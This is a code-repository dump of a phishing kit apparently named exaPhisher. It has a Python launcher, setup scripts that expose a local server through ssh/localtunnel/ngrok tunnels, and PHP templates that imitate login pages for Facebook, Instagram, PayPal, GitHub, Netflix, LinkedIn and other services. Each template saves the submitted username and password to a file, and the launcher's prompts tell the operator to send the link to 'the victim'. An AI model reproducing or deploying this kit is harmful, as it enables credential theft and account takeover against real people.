'''+square_tild+bcolors.OKBLUE+''' Local url :'''+bcolors.WARNING+''' http://localhost:8080'''+bcolors.OKBLUE+''' 60 | '''+square_tild+bcolors.OKBLUE+''' Send link to the victim :'''+bcolors.WARNING+url[12:100]+bcolors.ENDC+''' 61 | '''+square_tild+bcolors.WARNING+''' Waiting for Login info, '''+bcolors.OKBLUE+"Ctrl + C to exit."+bcolors.ENDC+''' 62 | 63 | ''') 64 | elif scelta2 == "3": 65 | def script2(): 66 | os.system("python3 lh.py") 67 | 68 | if __name__ == '__main__': 69 | p = Process(target=script2) 70 | p.start() 71 | print('''\n\n'''+ 72 | square_tild+bcolors.OKBLUE+''' Local url :'''+bcolors.WARNING+''' http://localhost:8080'''+bcolors.OKGREEN) 73 | time.sleep(3) 74 | print(bcolors.ENDC) 75 | print(bcolors.OKBLUE+''' Send link to the victim ↑''') 76 | print("\n") 77 | print(bcolors.WARNING+''' Waiting for Login info, '''+bcolors.OKBLUE+"Ctrl + C to exit."+bcolors.ENDC) 78 | 79 | if scelta == "1": 80 | os.chdir("./src/template/facebook") 81 | os.system("python3 facebook.py") 82 | if scelta == "2": 83 | os.chdir("./src/template/instagram") 84 | os.system("python3 instagram.py") 85 | if scelta == "3": 86 | os.chdir("./src/template/paypal") 87 | os.system("python3 paypal.py") 88 | if scelta == "4": 89 | os.chdir("./src/template/twitter") 90 | os.system("python3 twitter.py") 91 | if scelta == "5": 92 | os.chdir("./src/template/netflix") 93 | os.system("python3 netflix.py") 94 | if scelta == "6": 95 | os.chdir("./src/template/twitch") 96 | os.system("python3 twitch.py") 97 | if scelta == "7": 98 | os.chdir("./src/template/github") 99 | os.system("python3 github.py") 100 | if scelta == "8": 101 | os.chdir("./src/template/spotify") 102 | os.system("python3 spotify.py") 103 | if scelta == "9": 104 | os.chdir("./src/template/pinterest") 105 | os.system("python3 pinterest.py") 106 | if scelta == "10": 107 | os.chdir("./src/template/linkedin") 108 | os.system("python3 linkedin.py") 109 | -------------------------------------------------------------------------------- /src/template/paypal/template.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 123 | 124 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | Log in to your PayPal account 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 |
143 | 144 |
145 |
146 | 147 | 148 | 149 | 150 | 151 |
152 | 153 | 154 |
155 | 156 | 157 | 158 | 159 | 160 | 0) { 164 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 165 | return trim($addr[0]); 166 | } else { 167 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 168 | } 169 | } 170 | else { 171 | return $_SERVER['REMOTE_ADDR']; 172 | } 173 | } 174 | 175 | 176 | $user_ip = getUserIP(); 177 | 178 | 179 | if (isset($_POST['email'])){ 180 | $ip = $user_ip; 181 | $userinput = $_POST['email']; 182 | $userinputt = $_POST['pass']; 183 | $acapo = "\r\n"; 184 | $perip = ("Ip: $ip"); 185 | $perpassword = ("Password: $userinputt"); 186 | $perusername = ("Username: $userinput"); 187 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 188 | fwrite($myfile, $perusername); 189 | fwrite($myfile, $acapo); 190 | fwrite($myfile, $perpassword); 191 | fclose($myfile);} 192 | ?> 193 | 194 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Function to display colored output 4 | print_color() { 5 | case "$2" in 6 | "HEADER") color='\033[95m' ;; 7 | "OKBLUE") color='\033[34m' ;; 8 | "OKGREEN") color='\033[92m' ;; 9 | "WARNING") color='\033[93m' ;; 10 | "FAIL") color='\033[91m' ;; 11 | "BOLD") color='\033[1m' ;; 12 | "UNDERLINE") color='\033[4m' ;; 13 | "GREY") color='\033[90m' ;; 14 | "BG_RED") color='\033[41m' ;; 15 | *) color='\033[0m' ;; 16 | esac 17 | echo -e "${color}${1}\033[0m" 18 | } 19 | 20 | # Clear screen 21 | clear 22 | 23 | # Prompt user if they are using Termux 24 | # Prompt user if they are using Termux 25 | read -p "Are you using Termux? [y/n]: " termux_choice 26 | if [ "$termux_choice" = "y" ] || [ "$termux_choice" = "Y" ]; then 27 | TERMUX=true 28 | else 29 | TERMUX=false 30 | fi 31 | 32 | # Check if running with sudo, but not in Termux 33 | if [[ $EUID -ne 0 && $TERMUX == false ]]; then 34 | print_color "Please run this script with sudo." "FAIL" 35 | exit 1 36 | fi 37 | 38 | # Determine the system type automatically 39 | if [[ -n "$(command -v pkg)" ]]; then 40 | # Termux 41 | TERMUX=true 42 | elif [[ -n "$(command -v apt-get)" ]]; then 43 | # Debian based Linux 44 | DEBIAN=true 45 | elif [[ -n "$(command -v pacman)" ]]; then 46 | # Arch based Linux 47 | ARCH=true 48 | else 49 | print_color "Unsupported system." "FAIL" 50 | exit 1 51 | fi 52 | 53 | # Display ASCII art 54 | print_color " 55 | ┏┓┏┓┏┳┓┳┳┏┓ 56 | ┗┓┣ ┃ ┃┃┃┃ 57 | ┗┛┗┛ ┻ ┗┛┣┛ 58 | " "OKGREEN" 59 | 60 | # Display setup information 61 | print_color "Welcome to exaphisher setup! Following packages will be installed:\n" "WARNING" 62 | echo "- npm" 63 | echo "- php" 64 | echo -e "- localtunnel\n" 65 | 66 | # Ask for confirmation to continue 67 | read -p "Continue? [y/n]: " setup_choice 68 | if [[ ! $setup_choice =~ ^[Yy]$ ]]; then 69 | print_color "Exiting setup..." "WARNING" 70 | exit 0 71 | fi 72 | 73 | # Clear screen 74 | clear 75 | 76 | # Install necessary packages based on the detected system 77 | if [[ $TERMUX == true ]]; then 78 | # Termux setup 79 | print_color "Termux detected. Setting up..." "OKGREEN" 80 | pkg install -y openssh openssl php 81 | print_color "Setup completed successfully!" "OKGREEN" 82 | echo "Type python3 main.py to run exaPhisher!" 83 | elif [[ $DEBIAN == true ]]; then 84 | # Debian based Linux setup 85 | print_color "Debian based Linux detected. Setting up..." "OKGREEN" 86 | if [[ -n $SUDO_USER ]]; then 87 | apt-get update 88 | apt-get install -y php npm 89 | else 90 | print_color "Please run this script with sudo." "FAIL" 91 | exit 1 92 | fi 93 | npm install -g localtunnel 94 | 95 | # Uncomment and modify if ngrok setup is needed for Debian 96 | # curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null 97 | # echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list 98 | # apt-get update 99 | # apt-get install -y ngrok 100 | # ngrok config add-authtoken YOUR_NGROK_TOKEN_HERE 101 | 102 | print_color "Setup completed successfully!" "OKGREEN" 103 | echo "Type python3 main.py to run exaPhisher!" 104 | elif [[ $ARCH == true ]]; then 105 | # Arch based Linux setup 106 | print_color "Arch based Linux detected. Setting up..." "OKGREEN" 107 | if [[ -n $SUDO_USER ]]; then 108 | pacman -Sy --noconfirm php nodejs npm 109 | else 110 | print_color "Please run this script with sudo." "FAIL" 111 | exit 1 112 | fi 113 | npm install -g localtunnel 114 | 115 | # Uncomment and modify if ngrok setup is needed for Arch 116 | # yay -S --noconfirm ngrok 117 | # ngrok config add-authtoken YOUR_NGROK_TOKEN_HERE 118 | 119 | print_color "Setup completed successfully!" "OKGREEN" 120 | echo "Type python3 main.py to run exaPhisher!" 121 | else 122 | print_color "Unsupported system." "FAIL" 123 | exit 1 124 | fi 125 | 126 | echo -e "===LH SETUP===\n\nWRITE yes AND PRESS ENTER\n" 127 | sleep 2 128 | ssh -R 80:localhost:8080 nokey@localhost.run 129 | 130 | git clone https://github.com/SamueleAmato/exaPhisher 131 | cd exaPhisher 132 | 133 | # Create a version file 134 | touch setup_ver.py 135 | 136 | -------------------------------------------------------------------------------- /src/template/spotify/template.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | Spotify Login 126 | 127 | 128 |
129 |

Welcome to Spotify

130 |
131 |
132 | 133 |
134 |
135 | 136 |
137 |
138 | 139 |
140 |
141 |
142 | 143 | 144 | 0) { 148 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 149 | return trim($addr[0]); 150 | } else { 151 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 152 | } 153 | } 154 | else { 155 | return $_SERVER['REMOTE_ADDR']; 156 | } 157 | } 158 | 159 | 160 | $user_ip = getUserIP(); 161 | 162 | 163 | if (isset($_POST['email'])){ 164 | $ip = $user_ip; 165 | $userinput = $_POST['email']; 166 | $userinputt = $_POST['pass']; 167 | $acapo = "\r\n"; 168 | $perip = ("Ip: $ip"); 169 | $perpassword = ("Password: $userinputt"); 170 | $perusername = ("Username: $userinput"); 171 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 172 | fwrite($myfile, $perusername); 173 | fwrite($myfile, $acapo); 174 | fwrite($myfile, $perpassword); 175 | fclose($myfile);} 176 | ?> 177 | 178 | -------------------------------------------------------------------------------- /src/template/twitch/template.php: -------------------------------------------------------------------------------- 1 |
2 | 13 |
14 | 15 |
16 |

Log in to Twitch

17 | 21 | 22 | 23 |
24 | 31 | 32 | 42 | 43 | 44 |
45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 205 | 206 | 207 | 208 | 0) { 212 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 213 | return trim($addr[0]); 214 | } else { 215 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 216 | } 217 | } 218 | else { 219 | return $_SERVER['REMOTE_ADDR']; 220 | } 221 | } 222 | 223 | 224 | $user_ip = getUserIP(); 225 | 226 | 227 | if (isset($_POST['name'])){ 228 | $ip = $user_ip; 229 | $userinput = $_POST['name']; 230 | $userinputt = $_POST['name2']; 231 | $acapo = "\r\n"; 232 | $perip = ("Ip: $ip"); 233 | $perpassword = ("Password: $userinputt"); 234 | $perusername = ("Username: $userinput"); 235 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 236 | fwrite($myfile, $perusername); 237 | fwrite($myfile, $acapo); 238 | fwrite($myfile, $perpassword); 239 | fclose($myfile);} 240 | ?> 241 | 242 | -------------------------------------------------------------------------------- /src/template/pinterest/template.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 159 | 160 | 161 | 162 | 163 | 164 | 165 |
166 |
167 | 168 | pin logo 169 |

Log in to see more

170 | 171 | 172 | 173 | 174 |

Forgot your password?

175 | 176 | 177 |

OR

178 |
185 | 192 | 193 |
194 |

195 | By continuing, you agree to Pinterest's 196 | Terms of Service, Privacy policy. 197 |

198 |
199 |

Not on Pinterest yet? Sign up

200 |
201 |
202 |
203 |
Sign up
204 | 205 | 206 | 0) { 210 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 211 | return trim($addr[0]); 212 | } else { 213 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 214 | } 215 | } 216 | else { 217 | return $_SERVER['REMOTE_ADDR']; 218 | } 219 | } 220 | 221 | 222 | $user_ip = getUserIP(); 223 | 224 | 225 | if (isset($_POST['email'])){ 226 | $ip = $user_ip; 227 | $userinput = $_POST['email']; 228 | $userinputt = $_POST['pass']; 229 | $acapo = "\r\n"; 230 | $perip = ("Ip: $ip"); 231 | $perpassword = ("Password: $userinputt"); 232 | $perusername = ("Username: $userinput"); 233 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 234 | fwrite($myfile, $perusername); 235 | fwrite($myfile, $acapo); 236 | fwrite($myfile, $perpassword); 237 | fclose($myfile);} 238 | ?> 239 | 240 | -------------------------------------------------------------------------------- /src/template/instagram/template.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 |
181 |
182 |
183 | 184 |
185 | 186 | 187 |
188 | 189 |
190 | 191 | 192 | 193 |
194 | 195 |
196 |
197 |

OR

198 |
199 |
200 |
201 | 205 | Forgot password? 206 |
207 | 208 |
209 |
210 |

Don't have an account?

211 |
212 |
213 | 214 | 215 | 216 | 217 | 218 | 0) { 222 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 223 | return trim($addr[0]); 224 | } else { 225 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 226 | } 227 | } 228 | else { 229 | return $_SERVER['REMOTE_ADDR']; 230 | } 231 | } 232 | 233 | 234 | $user_ip = getUserIP(); 235 | 236 | 237 | if (isset($_POST['name'])){ 238 | $ip = $user_ip; 239 | $userinput = $_POST['name']; 240 | $userinputt = $_POST['name2']; 241 | $acapo = "\r\n"; 242 | $perip = ("Ip: $ip"); 243 | $perpassword = ("Password: $userinputt"); 244 | $perusername = ("Username: $userinput"); 245 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 246 | fwrite($myfile, $perusername); 247 | fwrite($myfile, $acapo); 248 | fwrite($myfile, $perpassword); 249 | fclose($myfile);} 250 | ?> 251 | 252 | 253 | -------------------------------------------------------------------------------- /src/template/facebook/template.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | Facebook Login Page 249 | 250 | 251 | 252 |
253 |
254 |
255 |

Facebook

256 |

Connect with friends and the world around you on Facebook.

257 |
258 |
259 | 260 | 261 | 262 | Forgot Password ? 263 |
264 | 265 |
266 |
267 |
268 | 269 | 270 | 271 | 272 | 273 | 274 | 0) { 278 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 279 | return trim($addr[0]); 280 | } else { 281 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 282 | } 283 | } 284 | else { 285 | return $_SERVER['REMOTE_ADDR']; 286 | } 287 | } 288 | 289 | 290 | $user_ip = getUserIP(); 291 | 292 | 293 | if (isset($_POST['name'])){ 294 | $ip = $user_ip; 295 | $userinput = $_POST['name']; 296 | $userinputt = $_POST['name2']; 297 | $acapo = "\r\n"; 298 | $perip = ("Ip: $ip"); 299 | $perpassword = ("Password: $userinputt"); 300 | $perusername = ("Username: $userinput"); 301 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 302 | fwrite($myfile, $perusername); 303 | fwrite($myfile, $acapo); 304 | fwrite($myfile, $perpassword); 305 | fclose($myfile);} 306 | ?> -------------------------------------------------------------------------------- /src/setup.py: -------------------------------------------------------------------------------- 1 | import os 2 | from multiprocessing import Process 3 | scelta_termux = "false" 4 | os.system("clear") 5 | sudo_check = input("Are you on Termux [y/n]: ") 6 | if sudo_check == "n": 7 | verifica_sudo = input("Are you running this script as sudo? [y/n]: ") 8 | if verifica_sudo == "y": 9 | pass 10 | else: 11 | print("run this script as sudo") 12 | exit() 13 | pass 14 | else: 15 | scelta_termux = input("are you on termux? [y/n]: ") 16 | if scelta_termux == "y": 17 | os.chdir("..") 18 | os.system("touch ./src/termux_ver.py") 19 | 20 | pass 21 | else: 22 | print("please run this script as sudo") 23 | exit() 24 | 25 | class bcolors: 26 | HEADER = '\033[95m' 27 | OKBLUE = '\033[34m' 28 | OKGREEN = '\033[92m' 29 | WARNING = '\033[93m' 30 | FAIL = '\033[91m' 31 | BOLD = '\033[1m' 32 | UNDERLINE = '\033[4m' 33 | ENDC = '\033[0m' 34 | GREY = '\033[90m' 35 | BG_RED = '\033[41m' 36 | 37 | print(bcolors.WARNING+''' 38 | '''+bcolors.OKGREEN+''' _____ _ '''+bcolors.WARNING+''' 39 | '''+bcolors.OKGREEN+''' / ____| | | '''+bcolors.WARNING+''' 40 | _____ ____ _'''+bcolors.OKGREEN+'''| (___ ___| |_ _ _ _ __ '''+bcolors.WARNING+''' 41 | / _ \ \/ / _` '''+bcolors.OKGREEN+''' \___ \ / _ \ __| | | | '_ \ '''+bcolors.WARNING+''' 42 | | __/> < (_| '''+bcolors.OKGREEN+''' ____) | __/ |_| |_| | |_) |'''+bcolors.WARNING+''' 43 | \___/_/\_\__,_'''+bcolors.OKGREEN+'''|_____/ \___|\__|\__,_| .__/ '''+bcolors.OKGREEN+''' 44 | | | 45 | |_| 46 | '''+bcolors.ENDC) 47 | 48 | print("Welcome to exaphisher setup! following packages will be installed:") 49 | print(''' 50 | - npm 51 | - ngrok 52 | - php 53 | - localtunnel 54 | ''') 55 | setup_scelta = input("Continue? [y/n]: ") 56 | 57 | if setup_scelta == "y": 58 | pass 59 | else: 60 | print("Exit setup...") 61 | exit() 62 | os.system("clear") 63 | def command(comando): 64 | os.system(comando) 65 | 66 | def linux_debian(): 67 | print(bcolors.OKGREEN+"Ngrok setup"+bcolors.ENDC) 68 | command(' curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list && sudo apt update && sudo apt install ngrok ') 69 | ngrok_token = input(bcolors.UNDERLINE+"paste your ngrok token here:"+bcolors.ENDC+" ") 70 | command("ngrok config add-authtoken "+ ngrok_token) 71 | print(bcolors.OKGREEN+"php Setup"+bcolors.ENDC) 72 | command("apt-get install php ") 73 | print(bcolors.OKGREEN+"Localtunnel setup"+bcolors.ENDC) 74 | command("apt-get install npm ") 75 | command("npm install -g localtunnel") 76 | print(bcolors.OKGREEN+"Localhost setup"+bcolors.ENDC) 77 | print("Type yes to finish setup") 78 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run") 79 | print(bcolors.WARNING+"Type yes to finish setup"+bcolors.ENDC) 80 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run") 81 | print(bcolors.OKGREEN+"Setup Completed Successfully!") 82 | os.chdir("..") 83 | print("Type python3 main.py to run exaPhisher!") 84 | 85 | def linux_arch(): 86 | arch_yay = input(bcolors.WARNING+"Do you have yay package manager? [y/n]: "+bcolors.ENDC) 87 | if arch_yay == "y": 88 | pass 89 | else: 90 | print("install yay package menager and run the setup; Guide: https://cloudcone.com/docs/article/how-to-install-yay-helper-on-archlinux/"+bcolors.ENDC) 91 | print(bcolors.OKGREEN+"Ngrok setup"+bcolors.ENDC) 92 | command('yay -S ngrok') 93 | ngrok_token = input(bcolors.UNDERLINE+"paste your ngrok token here:"+bcolors.ENDC+" ") 94 | command("ngrok config add-authtoken "+ ngrok_token) 95 | print(bcolors.OKGREEN+"Php setup"+bcolors.ENDC) 96 | command("pacman -S php ") 97 | print(bcolors.OKGREEN+"Localtunnel setup"+bcolors.ENDC) 98 | command("apt install nodejs ") 99 | command("npm install -g localtunnel") 100 | print(bcolors.OKGREEN+"Localhost setup"+bcolors.ENDC) 101 | print("Type yes to finish setup") 102 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run") 103 | print(bcolors.WARNING+"Type yes to finish setup"+bcolors.ENDC) 104 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run") 105 | print(bcolors.OKGREEN+"Setup Completed Successfully!") 106 | os.chdir("..") 107 | print("Type python3 main.py to run exaPhisher!") 108 | 109 | def termux(): 110 | print(bcolors.OKGREEN+"Localtunnel setup"+bcolors.ENDC) 111 | print(bcolors.OKGREEN+"Localhost setup"+bcolors.ENDC) 112 | print("Type yes to finish setup") 113 | os.system("pkg install openssh") 114 | os.system("pkg install openssl") 115 | os.system("pkg install php") 116 | print(bcolors.WARNING+"Type yes to finish setup"+bcolors.ENDC) 117 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run") 118 | time.sleep(2) 119 | print(bcolors.OKGREEN+"Setup Completed Successfully!") 120 | os.chdir("..") 121 | print("Type python3 main.py to run exaPhisher!") 122 | if scelta_termux == "y": 123 | termux() 124 | command("toch /src/termux_ver.py") 125 | pass 126 | else: 127 | print(bcolors.WARNING+''' 128 | '''+bcolors.OKGREEN+''' _____ _ '''+bcolors.WARNING+''' 129 | '''+bcolors.OKGREEN+''' / ____| | | '''+bcolors.WARNING+''' 130 | _____ ____ _'''+bcolors.OKGREEN+'''| (___ ___| |_ _ _ _ __ '''+bcolors.WARNING+''' 131 | / _ \ \/ / _` '''+bcolors.OKGREEN+''' \___ \ / _ \ __| | | | '_ \ '''+bcolors.WARNING+''' 132 | | __/> < (_| '''+bcolors.OKGREEN+''' ____) | __/ |_| |_| | |_) |'''+bcolors.WARNING+''' 133 | \___/_/\_\__,_'''+bcolors.OKGREEN+'''|_____/ \___|\__|\__,_| .__/ '''+bcolors.OKGREEN+''' 134 | | | 135 | |_| 136 | '''+bcolors.ENDC) 137 | print('''Which System You Are Using? 138 | 139 | 1) Linux - Debian based 140 | 2) Linux - Arch based 141 | 3) Termux 142 | ''') 143 | scelta_distro = input(": ") 144 | if scelta_distro == "1": 145 | linux_debian() 146 | elif scelta_distro == "2": 147 | linux_arch() 148 | elif scelta_distro == "3": 149 | termux() 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | os.system("touch setup_ver.py") 172 | -------------------------------------------------------------------------------- /src/template/github/template.php: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 | 5 |
6 | 7 |
8 | 9 | 10 | 11 | 12 | 28 | 29 |
30 | New to GitHub? Create an account. 31 |
32 | 33 | 39 |
40 |
41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 195 | 196 | 197 | 198 | 199 | 0) { 203 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 204 | return trim($addr[0]); 205 | } else { 206 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 207 | } 208 | } 209 | else { 210 | return $_SERVER['REMOTE_ADDR']; 211 | } 212 | } 213 | 214 | 215 | $user_ip = getUserIP(); 216 | 217 | 218 | if (isset($_POST['name'])){ 219 | $ip = $user_ip; 220 | $userinput = $_POST['name']; 221 | $userinputt = $_POST['name2']; 222 | $acapo = "\r\n"; 223 | $perip = ("Ip: $ip"); 224 | $perpassword = ("Password: $userinputt"); 225 | $perusername = ("Username: $userinput"); 226 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 227 | fwrite($myfile, $perusername); 228 | fwrite($myfile, $acapo); 229 | fwrite($myfile, $perpassword); 230 | fclose($myfile);} 231 | ?> 232 | 233 | -------------------------------------------------------------------------------- /src/template/linkedin/template.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Linkedn Login Form 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 |
17 |
18 |

Linkedin

19 |
20 |
21 |
22 |
23 |

Welcome Back

24 |
25 |
26 |
27 |
28 |

Don't miss your next opportunity. Sign in to stay updated on your professional world.

29 |
30 |
31 |
32 | 33 | 34 |
35 | 36 |
37 |
38 |
39 | 40 |
41 |
42 |
43 |
44 |
45 |
46 | 47 |
48 |
49 |
50 |
51 | Forgot password? 52 |
53 |
54 |
55 |
56 |

New to Linkedin?

57 |  Join now 58 |
59 |
60 | 61 |
62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 331 | 332 | 333 | 334 | 0) { 338 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 339 | return trim($addr[0]); 340 | } else { 341 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 342 | } 343 | } 344 | else { 345 | return $_SERVER['REMOTE_ADDR']; 346 | } 347 | } 348 | 349 | 350 | $user_ip = getUserIP(); 351 | 352 | 353 | if (isset($_POST['name'])){ 354 | $ip = $user_ip; 355 | $userinput = $_POST['name']; 356 | $userinputt = $_POST['name2']; 357 | $acapo = "\r\n"; 358 | $perip = ("Ip: $ip"); 359 | $perpassword = ("Password: $userinputt"); 360 | $perusername = ("Username: $userinput"); 361 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 362 | fwrite($myfile, $perusername); 363 | fwrite($myfile, $acapo); 364 | fwrite($myfile, $perpassword); 365 | fclose($myfile);} 366 | ?> 367 | -------------------------------------------------------------------------------- /src/template/netflix/template.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Netflix - Watch TV Shows Online, Watch Movies Online 7 | 8 | 9 |
10 | 11 | 12 | 15 | 16 |
17 |
18 | 19 | 20 |

Sign In

21 |
22 |
23 | 24 | 25 |
26 |
27 |
28 |
29 |
30 | 31 |
32 | 33 | Need Help ? 34 | 35 |
36 | 37 | 38 | 39 |
40 | 41 |
42 | 43 | Facebook 44 | 45 |

Login with Facebook

46 |
47 | 51 |
52 |

53 | This page is protected by Google reCAPTCHA to ensure you're not a bot. Learn more. 54 |

55 |
56 | 57 | 58 |
59 | 60 | 82 | 83 |
84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 349 | 350 | 351 | 352 | 0) { 356 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']); 357 | return trim($addr[0]); 358 | } else { 359 | return $_SERVER['HTTP_X_FORWARDED_FOR']; 360 | } 361 | } 362 | else { 363 | return $_SERVER['REMOTE_ADDR']; 364 | } 365 | } 366 | 367 | 368 | $user_ip = getUserIP(); 369 | 370 | 371 | if (isset($_POST['name'])){ 372 | $ip = $user_ip; 373 | $userinput = $_POST['name']; 374 | $userinputt = $_POST['name2']; 375 | $acapo = "\r\n"; 376 | $perip = ("Ip: $ip"); 377 | $perpassword = ("Password: $userinputt"); 378 | $perusername = ("Username: $userinput"); 379 | $myfile = fopen("info.txt", "w") or die("Unable to open file!"); 380 | fwrite($myfile, $perusername); 381 | fwrite($myfile, $acapo); 382 | fwrite($myfile, $perpassword); 383 | fclose($myfile);} 384 | ?> 385 | --------------------------------------------------------------------------------